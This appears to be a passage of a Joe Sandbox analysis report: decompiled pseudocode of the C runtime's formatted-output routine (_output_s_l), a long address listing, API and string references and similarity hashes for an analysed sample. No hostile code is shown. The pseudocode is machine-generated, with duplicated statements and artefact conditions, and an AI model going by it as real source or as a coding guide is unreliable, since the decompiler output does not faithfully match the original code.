															L96:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L97:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L98:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L99:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L107:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430780( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E00430800( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t623 - 0x314) = 0;
									} else {
										 *(_t623 - 0x314) = 1;
									}
									_t573 =  *(_t623 - 0x314);
									 *(_t623 - 0x278) =  *(_t623 - 0x314);
									if( *(_t623 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t530 = L0041E210();
										_t626 = _t626 + 0x14;
										if(_t530 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t623 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422D00(_t573))) = 0x16;
										E00422A90(_t558, _t573, _t621, _t622, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t623 - 0x2f0) = 0xffffffff;
										E0041ACB0(_t623 - 0x40);
										_t503 =  *(_t623 - 0x2f0);
										L229:
										return E0042BCB0(_t503, _t558,  *(_t623 - 0x48) ^ _t623, _t594, _t621, _t622);
									}
								}
							}
							L219:
							if( *(_t623 - 0x25c) == 0) {
								L222:
								 *(_t623 - 0x334) = 1;
								L223:
								_t560 =  *(_t623 - 0x334);
								 *(_t623 - 0x2e0) =  *(_t623 - 0x334);
								if( *(_t623 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t508 = L0041E210();
									_t626 = _t626 + 0x14;
									if(_t508 == 1) {
										asm("int3");
									}
								}
								if( *(_t623 - 0x2e0) != 0) {
									 *(_t623 - 0x300) =  *(_t623 - 0x24c);
									E0041ACB0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x300);
								} else {
									 *((intOrPtr*)(L00422D00(_t560))) = 0x16;
									E00422A90(_t558, _t560, _t621, _t622, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t623 - 0x2fc) = 0xffffffff;
									E0041ACB0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t623 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t623 - 0x334) = 0;
							goto L223;
						}
					}
					L82:
					_t593 =  *0x440f80; // 0x404448
					 *(_t623 - 4) = _t593;
					_t497 = E0041DCB0( *(_t623 - 4));
					_t626 = _t626 + 4;
					 *(_t623 - 0x24) = _t497;
					goto L86;
				}
			}

0x00434b25
0x00434b25
0x00434b25
0x00434b25
0x00434b25
0x00434b25
0x00434b29
0x00434b2e
0x00434b31
0x00434b3e
0x00000000
0x00000000
0x00434b40
0x00434b40
0x00434b4a
0x00434b66
0x00434b69
0x00434b6f
0x00434b97
0x00434b9e
0x00434ba4
0x00434ba7
0x00434baa
0x00434bb0
0x00434bb3
0x00434b71
0x00434b71
0x00434b77
0x00434b7a
0x00434b7d
0x00434b83
0x00434b86
0x00434b89
0x00434b8b
0x00434b8e
0x00434b8e
0x00434bb6
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x0043528c
0x00435292
0x0043529c
0x004352b1
0x004352c6
0x004352c8
0x004352cc
0x004352cc
0x004352b3
0x004352b3
0x004352b7
0x004352b7
0x0043529e
0x0043529e
0x004352a2
0x004352a2
0x0043529c
0x004352dc
0x004352e8
0x004352fe
0x00435303
0x00435303
0x00435319
0x0043531e
0x00435327
0x0043532f
0x00435345
0x0043534a
0x0043534a
0x0043532f
0x00435351
0x00435425
0x00435438
0x0043543d
0x00000000
0x00435357
0x00435357
0x0043535b
0x00000000
0x00000000
0x00435361
0x00435361
0x0043536e
0x00435377
0x0043537d
0x0043537d
0x0043538c
0x00435394
0x00000000
0x00000000
0x0043539a
0x004353a3
0x004353c2
0x004353c7
0x004353ca
0x004353d9
0x004353e6
0x004353f1
0x004353f1
0x00000000
0x004353f1
0x004353e8
0x004353ef
0x004353fd
0x00435416
0x0043541b
0x00000000
0x0043541b
0x00000000
0x004353ef
0x00435423
0x00435440
0x00435447
0x0043544f
0x00435465
0x0043546a
0x0043546a
0x0043544f
0x00435447
0x0043546d
0x00435471
0x00435479
0x0043547e
0x00435481
0x00435481
0x00435488
0x00435488
0x0043455f
0x00434565
0x00434572
0x00434577
0x00000000
0x0043458a
0x00434594
0x004345bb
0x004345a2
0x004345b3
0x004345b3
0x00434594
0x004345c5
0x004345cb
0x004345d7
0x004345da
0x004345e8
0x004345eb
0x004345f8
0x0043469d
0x004346a3
0x004346b0
0x00000000
0x00000000
0x004346b6
0x004346bc
0x00000000
0x004346c3
0x004346c3
0x004346db
0x004346e0
0x004346e3
0x004346e5
0x0043479f
0x004347b2
0x004347b7
0x00000000
0x004346eb
0x004346fe
0x00434703
0x00434709
0x0043470b
0x00434714
0x00434714
0x00434717
0x00434723
0x00434727
0x0043472d
0x0043472f
0x00434734
0x00434736
0x0043473b
0x00434740
0x00434742
0x00434747
0x0043474a
0x0043474d
0x0043474f
0x0043474f
0x0043474d
0x00434750
0x00434750
0x00434757
0x00000000
0x00434759
0x0043475e
0x0043477a
0x00434782
0x0043478f
0x00434794
0x00000000
0x00434794
0x00434757
0x00000000
0x004347bf
0x004347bf
0x004347c6
0x004347c9
0x004347cc
0x004347cf
0x004347d2
0x004347d5
0x004347d8
0x004347df
0x004347e6
0x00000000
0x00000000
0x004347f2
0x004347f2
0x004347f9
0x00434805
0x00434808
0x0043480e
0x00434815
0x00000000
0x00000000
0x00434817
0x00434817
0x0043481d
0x0043481d
0x00434824
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434867
0x00434867
0x0043486e
0x00434871
0x0043489b
0x0043489e
0x0043489e
0x004348a1
0x004348a8
0x004348a8
0x004348ac
0x00434873
0x00434873
0x0043487f
0x00434882
0x00434886
0x00434888
0x0043488b
0x0043488b
0x0043488e
0x00434894
0x00434896
0x00434896
0x00434899
0x00000000
0x00000000
0x004348b4
0x004348b4
0x00000000
0x00000000
0x004348c0
0x004348c0
0x004348c7
0x004348ca
0x004348ea
0x004348ed
0x004348ed
0x004348f7
0x004348f7
0x004348fb
0x004348cc
0x004348cc
0x004348d8
0x004348db
0x004348df
0x004348e1
0x004348e1
0x004348e8
0x00000000
0x00000000
0x00434903
0x00434903
0x0043490a
0x00434916
0x00434919
0x0043491f
0x00434926
0x00434a39
0x00000000
0x00434a39
0x0043492c
0x0043492c
0x00434932
0x00434932
0x00434939
0x00000000
0x0043496f
0x0043496f
0x00434972
0x00434975
0x00434978
0x004349a0
0x004349a0
0x004349a3
0x004349a6
0x004349a9
0x004349ce
0x004349ce
0x004349d1
0x004349d4
0x004349d7
0x00434a10
0x00434a21
0x00000000
0x00434a21
0x004349d9
0x004349d9
0x004349dc
0x004349df
0x004349e2
0x00000000
0x00000000
0x004349e4
0x004349e4
0x004349e7
0x004349ea
0x004349ed
0x00000000
0x00000000
0x004349ef
0x004349ef
0x004349f2
0x004349f5
0x004349f8
0x00000000
0x00000000
0x004349fa
0x004349fa
0x004349fd
0x00434a00
0x00434a03
0x00000000
0x00000000
0x00434a05
0x00434a05
0x00434a08
0x00434a0b
0x00434a0e
0x00434a12
0x00000000
0x00434a12
0x00000000
0x00434a0e
0x004349ab
0x004349ab
0x004349ae
0x004349b2
0x004349b5
0x00000000
0x004349b7
0x004349ba
0x004349bd
0x004349c0
0x004349c3
0x004349c9
0x00000000
0x004349c9
0x004349b5
0x0043497a
0x0043497a
0x0043497d
0x00434981
0x00434984
0x00000000
0x00434986
0x00434989
0x0043498c
0x0043498f
0x00434992
0x00434998
0x00000000
0x00434998
0x00000000
0x00434a23
0x00434a26
0x00434a29
0x00000000
0x00000000
0x00434940
0x00434940
0x00434943
0x00434946
0x00434949
0x00434961
0x00434964
0x00434964
0x00434967
0x0043494b
0x0043494e
0x00434951
0x00434957
0x0043495c
0x0043495c
0x00000000
0x00000000
0x00434a2e
0x00434a2e
0x00434a31
0x00434a31
0x00434a36
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a3e
0x00434a3e
0x00434a45
0x00434a51
0x00434a54
0x00434a5a
0x00434a61
0x00000000
0x00435282
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x0043523c
0x0043523f
0x00435242
0x00435245
0x00435248
0x0043524b
0x00435251
0x00435251
0x00435251
0x00435259
0x0043525d
0x00000000
0x00000000
0x0043525f
0x0043525f
0x00435262
0x00435265
0x00435265
0x0043526a
0x0043526d
0x00435270
0x00435273
0x00435276
0x00435279
0x0043527c
0x0043527c
0x0043527f
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00434a67
0x00434a6d
0x00434a6d
0x00434a74
0x00000000
0x00434dce
0x00434dce
0x00434dd5
0x00434ddc
0x00434ddc
0x00434ddf
0x00000000
0x00000000
0x00434a7b
0x00434a7e
0x00434a7e
0x00434a84
0x00434a86
0x00434a89
0x00434a89
0x00434a8e
0x00434a8e
0x00000000
0x00000000
0x00434bbb
0x00434bbe
0x00434bbe
0x00434bc3
0x00434bc5
0x00434bc8
0x00434bc8
0x00434bce
0x00434bce
0x00000000
0x00000000
0x00434f9b
0x00434f9b
0x00000000
0x00000000
0x00000000
0x00000000
0x00434de5
0x00434de8
0x00434deb
0x00434dee
0x00434df4
0x00434df7
0x00434dfe
0x00434e02
0x00434e0d
0x00434e0d
0x00434e11
0x00434e28
0x00434e28
0x00434e2f
0x00434e31
0x00434e31
0x00434e38
0x00434e38
0x00434e3f
0x00434e50
0x00434e5f
0x00434e62
0x00434e66
0x00434e7c
0x00434e68
0x00434e68
0x00434e6b
0x00434e71
0x00434e77
0x00434e77
0x00434e66
0x00434e86
0x00434e89
0x00434e8c
0x00434e8f
0x00434e92
0x00434e95
0x00434e9b
0x00434ea1
0x00434ea9
0x00434eaa
0x00434ead
0x00434eae
0x00434eb1
0x00434eb2
0x00434eb9
0x00434eba
0x00434ebd
0x00434ebe
0x00434ec1
0x00434ec2
0x00434ec8
0x00434ec9
0x00434ed7
0x00434ed9
0x00434edf
0x00434edf
0x00434ee5
0x00434ee7
0x00434eeb
0x00434eed
0x00434ef5
0x00434ef6
0x00434ef9
0x00434efa
0x00434f08
0x00434f0a
0x00434f0a
0x00434eeb
0x00434f0d
0x00434f14
0x00434f17
0x00434f1c
0x00434f1c
0x00434f22
0x00434f24
0x00434f2c
0x00434f2d
0x00434f30
0x00434f31
0x00434f40
0x00434f42
0x00434f42
0x00434f22
0x00434f45
0x00434f48
0x00434f4b
0x00434f4e
0x00434f53
0x00434f59
0x00434f5c
0x00434f5f
0x00434f5f
0x00434f62
0x00434f62
0x00434f65
0x00434f71
0x00000000
0x00434f71
0x00434e13
0x00434e13
0x00434e1a
0x00434e1d
0x00000000
0x00000000
0x00434e1f
0x00434e1f
0x00000000
0x00434e1f
0x00434e04
0x00434e04
0x00000000
0x00000000
0x00434a91
0x00434a94
0x00434a94
0x00434a9a
0x00434af5
0x00434afd
0x00434b04
0x00434b0a
0x00434b10
0x00434a9c
0x00434a9c
0x00434aa6
0x00434aaa
0x00434ab2
0x00434ab9
0x00434ac6
0x00434acd
0x00434ad9
0x00434adf
0x00434ae6
0x00434ae8
0x00434ae8
0x00434aef
0x00434b17
0x00434b1d
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00000000
0x00434f79
0x00434f7c
0x00434f7f
0x00434f82
0x00000000
0x00000000
0x00434cd7
0x00434cd7
0x00434ce3
0x00434ce9
0x00434cee
0x00434cf0
0x00434d9a
0x00434d9d
0x00434d9d
0x00434da0
0x00434db4
0x00434dba
0x00434dc0
0x00434da2
0x00434da2
0x00434daf
0x00434daf
0x00434dc2
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00434cf6
0x00434cf6
0x00434cf6
0x00434cf8
0x00434d06
0x00434cfa
0x00434cfa
0x00434cfa
0x00434d10
0x00434d16
0x00434d1c
0x00434d23
0x00434d25
0x00434d2a
0x00434d2c
0x00434d31
0x00434d36
0x00434d38
0x00434d3d
0x00434d40
0x00434d43
0x00434d45
0x00434d45
0x00434d43
0x00434d46
0x00434d4d
0x00434d95
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00434d4f
0x00434d4f
0x00434d54
0x00434d70
0x00434d78
0x00434d82
0x00434d85
0x00434d8a
0x00000000
0x00434d8a
0x00000000
0x00434fdc
0x00434fdc
0x00434fe6
0x00434fe6
0x00434fec
0x00434fee
0x00434ff1
0x00434ff1
0x00434ff7
0x00434ff7
0x00000000
0x00000000
0x00434f94
0x00434f94
0x00000000
0x00000000
0x00434bd1
0x00434bd1
0x00434bd5
0x00434be3
0x00434be6
0x00434bd7
0x00434bd7
0x00434bd7
0x00434bec
0x00434bf2
0x00434bf8
0x00434c04
0x00434c0a
0x00434c0a
0x00434c10
0x00434c77
0x00434c77
0x00434c7b
0x00434c7d
0x00434c83
0x00434c83
0x00434c86
0x00434c89
0x00434c8f
0x00434c8f
0x00434c8f
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca6
0x00000000
0x00000000
0x00434ca8
0x00434ca8
0x00434cae
0x00434cb1
0x00434cb3
0x00000000
0x00000000
0x00434cb5
0x00434cbb
0x00434cbe
0x00434cbe
0x00434cc6
0x00434cc6
0x00434ccc
0x00434ccc
0x00434ccf
0x00000000
0x00434c12
0x00434c12
0x00434c12
0x00434c16
0x00434c18
0x00434c1d
0x00434c1d
0x00434c20
0x00434c27
0x00434c2a
0x00434c30
0x00434c30
0x00434c30
0x00434c3c
0x00434c3f
0x00434c45
0x00434c47
0x00000000
0x00000000
0x00434c49
0x00434c49
0x00434c4f
0x00434c52
0x00434c54
0x00000000
0x00000000
0x00434c56
0x00434c5c
0x00434c5f
0x00434c5f
0x00434c67
0x00434c6d
0x00434c70
0x00434c72
0x00434cd2
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00000000
0x00434f8b
0x00434f8b
0x00000000
0x00000000
0x00434fa7
0x00434fa7
0x00434fb1
0x00434fb1
0x00434fbb
0x00434fbb
0x00434fc1
0x00434fc3
0x00434fcd
0x00434fcd
0x00434fd0
0x00434fd3
0x00434fd3
0x00434ffa
0x00434ffd
0x00434ffd
0x00435002
0x00435024
0x00435024
0x0043502a
0x0043504c
0x0043504c
0x0043504f
0x00435096
0x00435096
0x00435099
0x004350b6
0x004350ba
0x004350c2
0x004350c2
0x004350c4
0x004350ca
0x0043509b
0x0043509b
0x0043509f
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435054
0x00435057
0x00435075
0x00435081
0x00435084
0x00435085
0x0043508b
0x00435059
0x00435059
0x0043505d
0x00435065
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x0043502c
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435004
0x00435010
0x00435016
0x00435016
0x004350d3
0x004350d3
0x004350d6
0x00435118
0x00435118
0x0043511e
0x00435124
0x0043512a
0x00000000
0x004350d8
0x004350d8
0x004350d8
0x004350df
0x00000000
0x00000000
0x004350e1
0x004350e1
0x004350ec
0x004350f2
0x004350f4
0x004350fa
0x004350fd
0x004350ff
0x00435105
0x0043510e
0x00435113
0x00435130
0x00435133
0x00435133
0x00435138
0x0043513d
0x0043513d
0x00435143
0x00435145
0x0043514b
0x00435151
0x00435151
0x0043515a
0x0043515a
0x00435143
0x00435160
0x00435164
0x00435172
0x00435175
0x00435178
0x0043517f
0x00435181
0x00435181
0x00435166
0x00435166
0x00435166
0x0043518e
0x0043518e
0x00435194
0x00435196
0x00435196
0x0043519d
0x004351a0
0x004351a3
0x004351a3
0x004351a3
0x004351a9
0x004351ac
0x004351af
0x004351b1
0x00000000
0x00000000
0x004351b3
0x004351b9
0x004351b9
0x004351bf
0x00000000
0x00000000
0x004351c1
0x004351c1
0x004351c4
0x004351c7
0x004351ce
0x004351d5
0x004351dd
0x004351e3
0x004351e6
0x004351e9
0x004351f0
0x004351fc
0x00435202
0x00435208
0x0043520f
0x00435211
0x00435217
0x00435217
0x0043521d
0x0043521d
0x00435223
0x00435226
0x0043522c
0x00435231
0x00435234
0x004351a3
0x004351a3
0x004351a9
0x004351ac
0x004351af
0x004351b1
0x00000000
0x00000000
0x00000000
0x004351b1
0x004351a3
0x004350e3
0x004350e3
0x004350ea
0x00000000
0x00000000
0x00000000
0x004350ea
0x00000000
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00000000
0x00434841
0x00434844
0x00434847
0x00000000
0x00000000
0x0043484c
0x0043484f
0x00434854
0x00000000
0x00000000
0x00434836
0x00434836
0x00434839
0x0043483c
0x00000000
0x00000000
0x0043482b
0x0043482e
0x00434831
0x00000000
0x00000000
0x00434859
0x00434859
0x0043485c
0x0043485c
0x0043485f
0x00000000
0x00000000
0x00434862
0x00000000
0x00000000
0x004345fe
0x00434600
0x0043460e
0x00434602
0x00434602
0x00434602
0x00434618
0x0043461e
0x0043462b
0x0043462d
0x00434632
0x00434634
0x00434639
0x0043463e
0x00434640
0x00434645
0x0043464b
0x0043464d
0x0043464d
0x0043464b
0x0043464e
0x00434655
0x00000000
0x00434657
0x0043465c
0x00434678
0x00434680
0x0043468d
0x00434692
0x00435551
0x0043555e
0x0043555e
0x00434655
0x004345f8
0x0043548d
0x00435494
0x004354ab
0x004354ab
0x004354b5
0x004354b5
0x004354bb
0x004354c8
0x004354ca
0x004354cf
0x004354d1
0x004354d6
0x004354db
0x004354dd
0x004354e2
0x004354e8
0x004354ea
0x004354ea
0x004354e8
0x004354f2
0x0043553d
0x00435546
0x0043554b
0x004354f4
0x004354f9
0x00435515
0x0043551d
0x0043552a
0x0043552f
0x0043552f
0x00000000
0x004354f2
0x00435496
0x0043549d
0x00000000
0x00000000
0x0043549f
0x0043549f
0x00000000
0x0043549f
0x00435282
0x00434b4c
0x00434b4c
0x00434b52
0x00434b59
0x00434b5e
0x00434b61
0x00000000
0x00434b61

APIs

_get_int_arg.LIBCMTD ref: 00434B29
_strlen.LIBCMT ref: 00434B59
_write_multi_char.LIBCMTD ref: 004352FE
_write_string.LIBCMTD ref: 00435319
_write_multi_char.LIBCMTD ref: 00435345
_wctomb_s.LIBCMTD ref: 004353C2

Strings

HD@, xrefs: 00434B4C
-, xrefs: 0043529E
_output_s_l, xrefs: 0043466E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434639, 00434669
("Incorrect format specifier", 0), xrefs: 0043462D, 00434673

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$HD@$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-2091699214
Opcode ID: 1383094e7ff25fc9f4c7fe71c00a3fb9767d327c96c670db4873ce8eb16f5c67
Instruction ID: a3063190956ac2a008f80767313647f614c6ab9a09d0ba3ebbc5900dddbda7bf
Opcode Fuzzy Hash: 1383094e7ff25fc9f4c7fe71c00a3fb9767d327c96c670db4873ce8eb16f5c67
